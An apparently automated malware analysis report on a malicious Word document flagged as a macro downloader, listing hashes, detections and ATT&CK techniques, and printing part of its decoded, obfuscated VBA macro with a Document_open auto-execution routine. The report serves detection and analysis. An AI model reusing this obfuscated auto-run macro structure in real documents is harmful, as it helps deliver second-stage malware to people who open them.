Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f704ca151906306d…

MALICIOUS

Office (OLE)

183.0 KB Created: 2019-12-20 12:36:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: c377646ce2c171b93aa14185e45a9855 SHA-1: 986a01711e8e0be06d60db14cdc66069da1d50a7 SHA-256: f704ca151906306dfa01610edafa99af652bcd917eb207d21bd03c6360808161
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing obfuscated VBA macros. The presence of a Document_Open macro and GetObject calls strongly suggests an attempt to automatically execute malicious code upon opening. The ClamAV detection as 'Doc.Downloader.Generic' further supports the conclusion that this document is designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-7469762-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7469762-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7699 bytes
SHA-256: d0844ef7b32133ef07fde84d5acd81b4b90e55e7250312c6bd74e6c9fcd45973
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Zjvhrbpst"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Pkcrbfruxqqk, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Vsxcsqthpsv = 234 + 423
   Do While Ulhnztvlka = 1
      Gwngbesmxjx = 3 * Yhzjjyiv
      Pyrazmdlrk = ("Accusantium fugiat facilis commodi.")
      For Ufboncinko = Amvbbcetqj To Jesatyfkn
         Tiulgmccale = ("Adipisci alias ipsam.")
         Qbjpftvkhte = 223
      Next
      Iumicznybt = Ygnhxwfefkr
Loop
Bsszujwlwp
   Elbmdkymoc = 234 + 423
   Do While Bzylxlobrkv = 1
      Gbabwvha = 3 * Vimzgrkdekdx
      Evnnjrup = ("Dolorem dolore corrupti doloribus quia qui.")
      For Wjykrgmmtf = Kmhkghqq To Ozwbitqqzg
         Cxszlyyq = ("Dolorum officia ex.")
         Ybkbgylnz = 223
      Next
      Nuyopyswdgw = Kjrgvsrgfh
Loop
End Sub

Attribute VB_Name = "Qfwdvbgu"
Attribute VB_Base = "0{6040592D-7473-4FA1-A6DF-0842EDC07B88}{B609B1DD-DA11-4B56-9C5F-3FCF55B119A1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Pnzbzthe"
Function Meqzuwbavz()
   Wfibprxaq = 234 + 423
   Do While Nrycciltbbod = 1
      Acqckyhcjbmo = 3 * Affvsliykg
      Vdceicvio = ("Mollitia et repudiandae non.")
      For Yftklhxqn = Tvwslakb To Mddezetkty
         Yhpybxqnqb = ("Ullam inventore rerum.")
         Jhipqvymwwlc = 223
      Next
      Lddfudeiw = Mznlftly
Loop
Jtzutbmrwixdv = Zjvhrbpst.Pkcrbfruxqqk
   Avzrjevtuhn = 234 + 423
   Do While Egxuonuvwh = 1
      Hqllvyalrbwp = 3 * Ddfcbmrib
      Pjgoueou = ("Lester")
      For Njiyingt = Hjjkqptfrc To Hkgpuwwwivp
         Uxdszlpztsf = ("Tenetur est exercitationem veniam modi consectetur consequatur et qui quo.")
         Xfkicteybxstt = 223
      Next
      Gbmuhtwsqnsri = Sapxzrlzsvy
Loop
Vvsrfpwhqplea = Jtzutbmrwixdv + Qfwdvbgu.Tjsfwgoqave + Qfwdvbgu.Jficvhxaze + Qfwdvbgu.Eegbgwkm
   Hzmadwle = 234 + 423
   Do While Yxkucxbyeabn = 1
      Kaykhwxn = 3 * Nkfnvvzidhy
      Lvpfnnsbt = ("Harum soluta commodi.")
      For Qcxbxkvlwt = Sncjasknbnun To Qkzjpugtwtxy
         Mnamfdwrlesi = ("Explicabo ut sunt est sint unde molestiae.")
         Kciklftklnd = 223
      Next
      Zqjlbhrbon = Lvzzuqglp
Loop
Tqralznxyvlm = Vvsrfpwhqplea + Qfwdvbgu.Tacswkkfl + Qfwdvbgu.Fuwkkodvb.Tag
   Nvoqwrhvd = 234 + 423
   Do While Magnjdknxvq = 1
      Fxevkerkxghj = 3 * Ttkbelqjbtlg
      Nplxaukz = ("Minus mollitia et.")
      For Kyadouydhj = Ntmjdwvlkezo To Vkjhjugyr
         Muhuhyvlub = ("Quaerat perspiciatis vel eum veniam totam.")
         Qqodbbgzmh = 223
      Next
      Ntaawmpcgyqbo = Gdcbgdzt
Loop
Meqzuwbavz = Pdjuarjmpsw + Tqralznxyvlm + Pdjuarjmpsw
   Iaksnxnfhszrx = 234 + 423
   Do While Ugrllztrbs = 1
      Qaqsidjt = 3 * Svrmifznysf
      Qmhdyoijzvtwf = ("Ipsam molestiae sit suscipit.")
      For Rnnkqhov = Qosnuayzaafaa To Mdtaxpdpy
         Euzrcqneiz = ("Tempora reiciendis rerum illo.")
         Fvvweqvqncfee = 223
      Next
      Vjnzuqjwdaix = Vcewhnfcsyz
Loop
End Function
Function Bsszujwlwp()
   Whupiiumtthh = 234 + 423
   Do While Rdplwuce = 1
      Idieaejun = 3 * Fwkyqksgkncj
      Xmcmwpsl = ("Laborum molestiae.")
      For Fzqmpkmul = Hfnfkjxltg To Edrhiqtyt
         Trugraah = ("Ralph")
         Nphpgmgvauam = 223
      Next
      Ixdddrkszb = Pcfksyuoqnk
Loop
iwiwiiwiwjjsj = "__&888*&^bBGks^@"
   Bfhcxbxio = 234 + 423
   Do While Wtvyxxvtacda = 1
      Hxswohpjjch = 3 * Wlgzwdjfhbg
      Gwzbxeqppd = ("Voluptate similique sapiente maiores.")
      For Zkenjsqdky = Dhxhizvlldas To Fddxhhbnw
         Rxjqhbhoe = ("Natus ullam et.")
         Hihqhsawjld = 223
      Next
      Mzmraspledq = Udctefjpwv
Loop
Xshokoctxdop = Split("
... (truncated)

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